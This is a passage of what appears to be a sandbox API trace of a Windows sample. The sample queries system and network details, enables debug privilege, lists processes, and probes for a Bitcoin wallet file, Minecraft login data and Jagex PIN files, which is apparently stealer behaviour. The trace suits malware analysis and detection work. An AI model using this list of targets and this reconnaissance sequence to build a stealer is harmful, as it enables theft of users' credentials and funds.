	[0086.097] IUnknown:QueryInterface (in: This=0x72d3bc, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x6d4ee78 | out: ppvObject=0x6d4ee78*=0x0) returned 0x80004002
	[0086.097] IUnknown:QueryInterface (in: This=0x72d3bc, riid=0x735ffe90*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x6d4ec94 | out: ppvObject=0x6d4ec94*=0x0) returned 0x80004002
	[0086.098] IUnknown:AddRef (This=0x72d3bc) returned 0x3
	[0086.098] IUnknown:QueryInterface (in: This=0x72d3bc, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x6d4e7d4 | out: ppvObject=0x6d4e7d4*=0x0) returned 0x80004002
	[0086.098] IUnknown:QueryInterface (in: This=0x72d3bc, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x6d4e784 | out: ppvObject=0x6d4e784*=0x0) returned 0x80004002
	[0086.098] IUnknown:QueryInterface (in: This=0x72d3bc, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4e790 | out: ppvObject=0x6d4e790*=0x72d31c) returned 0x0
	[0086.098] IMarshal:GetUnmarshalClass (in: This=0x72d31c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x6d4e798 | out: pCid=0x6d4e798*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0086.098] IUnknown:Release (This=0x72d31c) returned 0x3
	[0086.098] CoGetContextToken (in: pToken=0x6d4e7f0 | out: pToken=0x6d4e7f0) returned 0x0
	[0086.099] CoGetContextToken (in: pToken=0x6d4ebf8 | out: pToken=0x6d4ebf8) returned 0x0
	[0086.099] IUnknown:QueryInterface (in: This=0x72d3bc, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4ec88 | out: ppvObject=0x6d4ec88*=0x72d3a4) returned 0x0
	[0086.099] IRpcOptions:Query (in: This=0x72d3a4, pPrx=0x72d3bc, dwProperty=2, pdwValue=0x6d4ecb0 | out: pdwValue=0x6d4ecb0) returned 0x80004002
	[0086.099] IUnknown:Release (This=0x72d3a4) returned 0x3
	[0086.099] IUnknown:Release (This=0x72d3bc) returned 0x2
	[0086.099] CoGetContextToken (in: pToken=0x6d4f1d0 | out: pToken=0x6d4f1d0) returned 0x0
	[0086.099] CoGetContextToken (in: pToken=0x6d4f130 | out: pToken=0x6d4f130) returned 0x0
	[0086.099] IUnknown:QueryInterface (in: This=0x72d3bc, riid=0x6d4f200*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x6d4f1fc | out: ppvObject=0x6d4f1fc*=0x69c3ce4) returned 0x0
	[0086.099] IUnknown:AddRef (This=0x69c3ce4) returned 0x4
	[0086.099] IUnknown:Release (This=0x69c3ce4) returned 0x3
	[0086.099] IUnknown:Release (This=0x69c3ce4) returned 0x2
	[0086.099] IUnknown:Release (This=0x69bda7c) returned 0x2
	[0086.099] SysStringLen (param_1=0x0) returned 0x0
	[0086.099] IEnumWbemClassObject:Reset (This=0x69c3ce4) returned 0x0
	[0086.100] CoTaskMemAlloc (cb=0x4) returned 0x719b20
	[0086.100] IEnumWbemClassObject:Next (in: This=0x69c3ce4, lTimeout=-1, uCount=0x1, apObjects=0x719b20, puReturned=0x24a38bc | out: apObjects=0x719b20*=0x69c3d20, puReturned=0x24a38bc*=0x1) returned 0x0
	[0086.102] IUnknown:QueryInterface (in: This=0x69c3d20, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4ea80 | out: ppvObject=0x6d4ea80*=0x69c3d20) returned 0x0
	[0086.102] IUnknown:QueryInterface (in: This=0x69c3d20, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x6d4ea3c | out: ppvObject=0x6d4ea3c*=0x0) returned 0x80004002
	[0086.102] IUnknown:QueryInterface (in: This=0x69c3d20, riid=0x735ffe90*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x6d4e85c | out: ppvObject=0x6d4e85c*=0x0) returned 0x80004002
	[0086.102] IUnknown:AddRef (This=0x69c3d20) returned 0x3
	[0086.102] IUnknown:QueryInterface (in: This=0x69c3d20, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x6d4e39c | out: ppvObject=0x6d4e39c*=0x0) returned 0x80004002
	[0086.102] IUnknown:QueryInterface (in: This=0x69c3d20, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x6d4e34c | out: ppvObject=0x6d4e34c*=0x0) returned 0x80004002
	[0086.102] IUnknown:QueryInterface (in: This=0x69c3d20, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4e358 | out: ppvObject=0x6d4e358*=0x69c3d24) returned 0x0
	[0086.102] IMarshal:GetUnmarshalClass (in: This=0x69c3d24, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x6d4e360 | out: pCid=0x6d4e360*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0
	[0086.102] IUnknown:Release (This=0x69c3d24) returned 0x3
	[0086.102] CoGetContextToken (in: pToken=0x6d4e3b8 | out: pToken=0x6d4e3b8) returned 0x0
	[0086.103] CoGetContextToken (in: pToken=0x6d4e7c0 | out: pToken=0x6d4e7c0) returned 0x0
	[0086.103] IUnknown:QueryInterface (in: This=0x69c3d20, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d4e850 | out: ppvObject=0x6d4e850*=0x0) returned 0x80004002
	[0086.103] IUnknown:Release (This=0x69c3d20) returned 0x2
	[0086.103] CoGetContextToken (in: pToken=0x6d4ed90 | out: pToken=0x6d4ed90) returned 0x0
	[0086.103] CoGetContextToken (in: pToken=0x6d4ecf0 | out: pToken=0x6d4ecf0) returned 0x0
	[0086.103] IUnknown:QueryInterface (in: This=0x69c3d20, riid=0x6d4edc0*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x6d4edbc | out: ppvObject=0x6d4edbc*=0x69c3d20) returned 0x0
	[0086.103] IUnknown:AddRef (This=0x69c3d20) returned 0x4
	[0086.103] IUnknown:Release (This=0x69c3d20) returned 0x3
	[0086.103] IUnknown:Release (This=0x69c3d20) returned 0x2
	[0086.103] CoTaskMemFree (pv=0x719b20) 
	[0086.103] CoGetContextToken (in: pToken=0x6d4f0f8 | out: pToken=0x6d4f0f8) returned 0x0
	[0086.103] IUnknown:AddRef (This=0x69c3d20) returned 0x3
	[0086.104] IWbemClassObject:Get (in: This=0x69c3d20, wszName="__GENUS", lFlags=0, pVal=0x6d4f40c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x6d4f48c*=0, plFlavor=0x6d4f488*=0 | out: pVal=0x6d4f40c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x6d4f48c*=3, plFlavor=0x6d4f488*=64) returned 0x0
	[0086.106] IWbemClassObject:Get (in: This=0x69c3d20, wszName="__PATH", lFlags=0, pVal=0x6d4f3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x6d4f474*=0, plFlavor=0x6d4f470*=0 | out: pVal=0x6d4f3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\YKYD69Q\\root\\cimv2:Win32_OperatingSystem=@", varVal2=0x0), pType=0x6d4f474*=8, plFlavor=0x6d4f470*=64) returned 0x0
	[0086.107] SysStringByteLen (bstr="\\\\YKYD69Q\\root\\cimv2:Win32_OperatingSystem=@") returned 0x58
	[0086.107] SysStringByteLen (bstr="\\\\YKYD69Q\\root\\cimv2:Win32_OperatingSystem=@") returned 0x58
	[0086.107] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x60c
	[0086.107] SetEvent (hEvent=0x480) returned 1
	[0086.107] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x6d4f3c8*=0x60c, lpdwindex=0x6d4f1e4 | out: lpdwindex=0x6d4f1e4) returned 0x0
	[0086.109] CoGetContextToken (in: pToken=0x6d4f298 | out: pToken=0x6d4f298) returned 0x0
	[0086.109] CoGetContextToken (in: pToken=0x6d4f1f8 | out: pToken=0x6d4f1f8) returned 0x0
	[0086.109] WbemDefPath:IUnknown:QueryInterface (in: This=0x69bd910, riid=0x6d4f2c8*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x6d4f2c4 | out: ppvObject=0x6d4f2c4*=0x69bd910) returned 0x0
	[0086.109] WbemDefPath:IUnknown:AddRef (This=0x69bd910) returned 0x3
	[0086.109] WbemDefPath:IUnknown:Release (This=0x69bd910) returned 0x2
	[0086.109] WbemDefPath:IWbemPath:SetText (This=0x69bd910, uMode=0x4, pszPath="\\\\YKYD69Q\\root\\cimv2:Win32_OperatingSystem=@") returned 0x0
	[0086.110] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69bd6f8, puCount=0x6d4f448 | out: puCount=0x6d4f448*=0x2) returned 0x0
	[0086.110] WbemDefPath:IWbemPath:GetText (in: This=0x69bd6f8, lFlags=4, puBuffLength=0x6d4f444*=0x0, pszText=0x0 | out: puBuffLength=0x6d4f444*=0xf, pszText=0x0) returned 0x0
	[0086.110] WbemDefPath:IWbemPath:GetText (in: This=0x69bd6f8, lFlags=4, puBuffLength=0x6d4f444*=0xf, pszText="00000000000000" | out: puBuffLength=0x6d4f444*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0086.110] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69bd6f8, puCount=0x6d4f43c | out: puCount=0x6d4f43c*=0x2) returned 0x0
	[0086.110] WbemDefPath:IWbemPath:GetText (in: This=0x69bd6f8, lFlags=4, puBuffLength=0x6d4f438*=0x0, pszText=0x0 | out: puBuffLength=0x6d4f438*=0xf, pszText=0x0) returned 0x0
	[0086.110] WbemDefPath:IWbemPath:GetText (in: This=0x69bd6f8, lFlags=4, puBuffLength=0x6d4f438*=0xf, pszText="00000000000000" | out: puBuffLength=0x6d4f438*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0086.110] IWbemClassObject:Get (in: This=0x69c3d20, wszName="Name", lFlags=0, pVal=0x6d4f438*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24a4174*=0, plFlavor=0x24a4178*=0 | out: pVal=0x6d4f438*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Microsoft Windows 7 Professional |C:\\Windows|\\Device\\Harddisk0\\Partition1", varVal2=0x0), pType=0x24a4174*=8, plFlavor=0x24a4178*=0) returned 0x0
	[0086.110] SysStringByteLen (bstr="Microsoft Windows 7 Professional |C:\\Windows|\\Device\\Harddisk0\\Partition1") returned 0x92
	[0086.110] SysStringByteLen (bstr="Microsoft Windows 7 Professional |C:\\Windows|\\Device\\Harddisk0\\Partition1") returned 0x92
	[0086.110] IWbemClassObject:Get (in: This=0x69c3d20, wszName="Name", lFlags=0, pVal=0x6d4f440*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24a4174*=8, plFlavor=0x24a4178*=0 | out: pVal=0x6d4f440*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Microsoft Windows 7 Professional |C:\\Windows|\\Device\\Harddisk0\\Partition1", varVal2=0x0), pType=0x24a4174*=8, plFlavor=0x24a4178*=0) returned 0x0
	[0086.110] SysStringByteLen (bstr="Microsoft Windows 7 Professional |C:\\Windows|\\Device\\Harddisk0\\Partition1") returned 0x92
	[0086.110] SysStringByteLen (bstr="Microsoft Windows 7 Professional |C:\\Windows|\\Device\\Harddisk0\\Partition1") returned 0x92
	[0086.111] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x6d4f388 | out: pFixedInfo=0x0, pOutBufLen=0x6d4f388) returned 0x6f
	[0086.122] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x74ac88
	[0086.122] GetNetworkParams (in: pFixedInfo=0x74ac88, pOutBufLen=0x6d4f388 | out: pFixedInfo=0x74ac88, pOutBufLen=0x6d4f388) returned 0x0
	[0086.130] LocalFree (hMem=0x74ac88) returned 0x0
	[0086.130] GetAdaptersAddresses () returned 0x6f
	[0086.135] LocalAlloc (uFlags=0x0, uBytes=0xe10) returned 0x5424fe8
	[0086.135] GetAdaptersAddresses () returned 0x0
	[0086.141] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x6d4f0f4 | out: pPerAdapterInfo=0x0, pOutBufLen=0x6d4f0f4) returned 0x6f
	[0086.148] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6b93f8
	[0086.148] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6b93f8, pOutBufLen=0x6d4f0f4 | out: pPerAdapterInfo=0x6b93f8, pOutBufLen=0x6d4f0f4) returned 0x0
	[0086.156] LocalFree (hMem=0x6b93f8) returned 0x0
	[0086.156] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x6d4f0f4 | out: pPerAdapterInfo=0x0, pOutBufLen=0x6d4f0f4) returned 0x6f
	[0086.162] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6b93f8
	[0086.163] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6b93f8, pOutBufLen=0x6d4f0f4 | out: pPerAdapterInfo=0x6b93f8, pOutBufLen=0x6d4f0f4) returned 0x0
	[0086.169] LocalFree (hMem=0x6b93f8) returned 0x0
	[0086.170] LocalFree (hMem=0x5424fe8) returned 0x0
	[0086.170] CoGetContextToken (in: pToken=0x6d4fa10 | out: pToken=0x6d4fa10) returned 0x0
	[0086.170] CoGetContextToken (in: pToken=0x6d4f410 | out: pToken=0x6d4f410) returned 0x0
	[0086.170] CoGetContextToken (in: pToken=0x6d4f398 | out: pToken=0x6d4f398) returned 0x0
	[0086.170] IUnknown:Release (This=0x72ce1c) returned 0x1
	[0086.170] IUnknown:Release (This=0x69bd8fc) returned 0x0
	[0086.170] CoGetContextToken (in: pToken=0x6d4f398 | out: pToken=0x6d4f398) returned 0x0
	[0086.170] IUnknown:Release (This=0x72cffc) returned 0x1
	[0086.170] IUnknown:Release (This=0x69bda7c) returned 0x0
	[0086.171] CoGetContextToken (in: pToken=0x6d4f398 | out: pToken=0x6d4f398) returned 0x0
	[0086.171] IUnknown:Release (This=0x72d1dc) returned 0x1
	[0086.171] IUnknown:Release (This=0x69bdb44) returned 0x0
	[0086.171] CoGetContextToken (in: pToken=0x6d4f398 | out: pToken=0x6d4f398) returned 0x0
	[0086.171] IUnknown:Release (This=0x72d3bc) returned 0x1
	[0086.171] IUnknown:Release (This=0x69c3ce4) returned 0x0
	[0086.173] CoGetContextToken (in: pToken=0x6d4f398 | out: pToken=0x6d4f398) returned 0x0
	[0086.173] IUnknown:Release (This=0x69c3d20) returned 0x2
	[0086.173] IUnknown:Release (This=0x69c3d20) returned 0x1
	[0086.173] CoGetContextToken (in: pToken=0x6d4f398 | out: pToken=0x6d4f398) returned 0x0
	[0086.173] IUnknown:Release (This=0x69bdb80) returned 0x2
	[0086.173] IUnknown:Release (This=0x69bdb80) returned 0x1
	[0086.173] IUnknown:Release (This=0x69a2c8) returned 0x0
	[0086.174] CoUninitialize () 

Thread:
	id = 140
	os_tid = 0x85c

	[0085.172] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0085.188] SleepEx (dwMilliseconds=0x3e8, bAlertable=1) returned 0x0
	[0086.303] SleepEx (dwMilliseconds=0x7d0, bAlertable=1) returned 0x0
	[0088.357] SleepEx (dwMilliseconds=0x2710, bAlertable=1) returned 0x0
	[0098.638] SleepEx (dwMilliseconds=0x2710, bAlertable=1) returned 0x0
	[0109.249] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x69ae82c | out: lpLuid=0x69ae82c*(LowPart=0x14, HighPart=0)) returned 1
	[0109.249] GetCurrentProcess () returned 0xffffffff
	[0109.250] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x69ae828 | out: TokenHandle=0x69ae828*=0x53c) returned 1
	[0109.250] AdjustTokenPrivileges (in: TokenHandle=0x53c, DisableAllPrivileges=0, NewState=0x249cb7c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0109.250] CloseHandle (hObject=0x53c) returned 1
	[0109.251] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3457970, Length=0x20000, ResultLength=0x69aef08 | out: SystemInformation=0x3457970, ResultLength=0x69aef08*=0xb2b8) returned 0x0
	[0109.259] SleepEx (dwMilliseconds=0x1388, bAlertable=1) returned 0x0
	[0114.503] GetEnvironmentVariableW (in: lpName="AppData", lpBuffer=0x69aede4, nSize=0x80 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21
	[0114.504] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\bitcoin\\wallet.dat", nBufferLength=0x105, lpBuffer=0x69aea54, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\bitcoin\\wallet.dat", lpFilePart=0x0) returned 0x34
	[0114.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x69aeeb4) returned 1
	[0114.504] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\bitcoin\\wallet.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\bitcoin\\wallet.dat"), fInfoLevelId=0x0, lpFileInformation=0x69aef30 | out: lpFileInformation=0x69aef30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0114.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x69aeeb0) returned 1
	[0114.518] CoUninitialize () 

Thread:
	id = 141
	os_tid = 0x87c

	[0085.189] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0085.371] SleepEx (dwMilliseconds=0x1d4c0, bAlertable=1) returned 0x0
	[0095.709] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x6f5f03c | out: pFixedInfo=0x0, pOutBufLen=0x6f5f03c) returned 0x6f
	[0095.724] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x7490d0
	[0095.724] GetNetworkParams (in: pFixedInfo=0x7490d0, pOutBufLen=0x6f5f03c | out: pFixedInfo=0x7490d0, pOutBufLen=0x6f5f03c) returned 0x0
	[0095.731] LocalFree (hMem=0x7490d0) returned 0x0
	[0095.731] GetAdaptersAddresses () returned 0x6f
	[0095.736] LocalAlloc (uFlags=0x0, uBytes=0xe10) returned 0x7324f8
	[0095.736] GetAdaptersAddresses () returned 0x0
	[0095.741] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x6f5eda8 | out: pPerAdapterInfo=0x0, pOutBufLen=0x6f5eda8) returned 0x6f
	[0095.747] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6b9390
	[0095.747] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6b9390, pOutBufLen=0x6f5eda8 | out: pPerAdapterInfo=0x6b9390, pOutBufLen=0x6f5eda8) returned 0x0
	[0095.767] LocalFree (hMem=0x6b9390) returned 0x0
	[0095.767] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x6f5eda8 | out: pPerAdapterInfo=0x0, pOutBufLen=0x6f5eda8) returned 0x6f
	[0095.781] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6b9390
	[0095.781] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6b9390, pOutBufLen=0x6f5eda8 | out: pPerAdapterInfo=0x6b9390, pOutBufLen=0x6f5eda8) returned 0x0
	[0095.801] LocalFree (hMem=0x6b9390) returned 0x0
	[0095.801] LocalFree (hMem=0x7324f8) returned 0x0
	[0095.802] CoTaskMemAlloc (cb=0x20c) returned 0x7490d0
	[0095.802] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x7490d0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x0
	[0095.802] CoTaskMemFree (pv=0x7490d0) 
	[0095.802] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x6f5ebe8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming", lpFilePart=0x0) returned 0x21
	[0095.802] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\.minecraft\\lastlogin", nBufferLength=0x105, lpBuffer=0x6f5ec7c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\.minecraft\\lastlogin", lpFilePart=0x0) returned 0x36
	[0095.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6f5f0dc) returned 1
	[0095.802] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\.minecraft\\lastlogin" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\.minecraft\\lastlogin"), fInfoLevelId=0x0, lpFileInformation=0x6f5f158 | out: lpFileInformation=0x6f5f158*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0095.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6f5f0d8) returned 1
	[0095.802] CoUninitialize () 

Thread:
	id = 142
	os_tid = 0x8a0

	[0085.194] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0
	[0085.396] SleepEx (dwMilliseconds=0x222e0, bAlertable=1) returned 0x0
	[0095.756] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x711f11c | out: pFixedInfo=0x0, pOutBufLen=0x711f11c) returned 0x6f
	[0095.775] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x7490d0
	[0095.775] GetNetworkParams (in: pFixedInfo=0x7490d0, pOutBufLen=0x711f11c | out: pFixedInfo=0x7490d0, pOutBufLen=0x711f11c) returned 0x0
	[0095.789] LocalFree (hMem=0x7490d0) returned 0x0
	[0095.789] GetAdaptersAddresses () returned 0x6f
	[0095.798] LocalAlloc (uFlags=0x0, uBytes=0xe10) returned 0x5439470
	[0095.798] GetAdaptersAddresses () returned 0x0
	[0095.808] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x711ee88 | out: pPerAdapterInfo=0x0, pOutBufLen=0x711ee88) returned 0x6f
	[0095.814] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6b9258
	[0095.814] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6b9258, pOutBufLen=0x711ee88 | out: pPerAdapterInfo=0x6b9258, pOutBufLen=0x711ee88) returned 0x0
	[0095.834] LocalFree (hMem=0x6b9258) returned 0x0
	[0095.834] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x711ee88 | out: pPerAdapterInfo=0x0, pOutBufLen=0x711ee88) returned 0x6f
	[0095.841] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6b9258
	[0095.841] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6b9258, pOutBufLen=0x711ee88 | out: pPerAdapterInfo=0x6b9258, pOutBufLen=0x711ee88) returned 0x0
	[0095.848] LocalFree (hMem=0x6b9258) returned 0x0
	[0095.848] LocalFree (hMem=0x5439470) returned 0x0
	[0095.848] GetComputerNameW (in: lpBuffer=0x711f000, nSize=0x711f278 | out: lpBuffer="YKYD69Q", nSize=0x711f278) returned 1
	[0095.848] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jagex_cache\\regPin\\YKYD69Q_Pin0.jpeg", nBufferLength=0x105, lpBuffer=0x711ed5c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jagex_cache\\regPin\\YKYD69Q_Pin0.jpeg", lpFilePart=0x0) returned 0x46
	[0095.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x711f1bc) returned 1
	[0095.848] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jagex_cache\\regPin\\YKYD69Q_Pin0.jpeg" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\jagex_cache\\regpin\\ykyd69q_pin0.jpeg"), fInfoLevelId=0x0, lpFileInformation=0x711f238 | out: lpFileInformation=0x711f238*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0095.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x711f1b8) returned 1
	[0095.848] CoGetContextToken (in: pToken=0x711f810 | out: pToken=0x711f810) returned 0x0
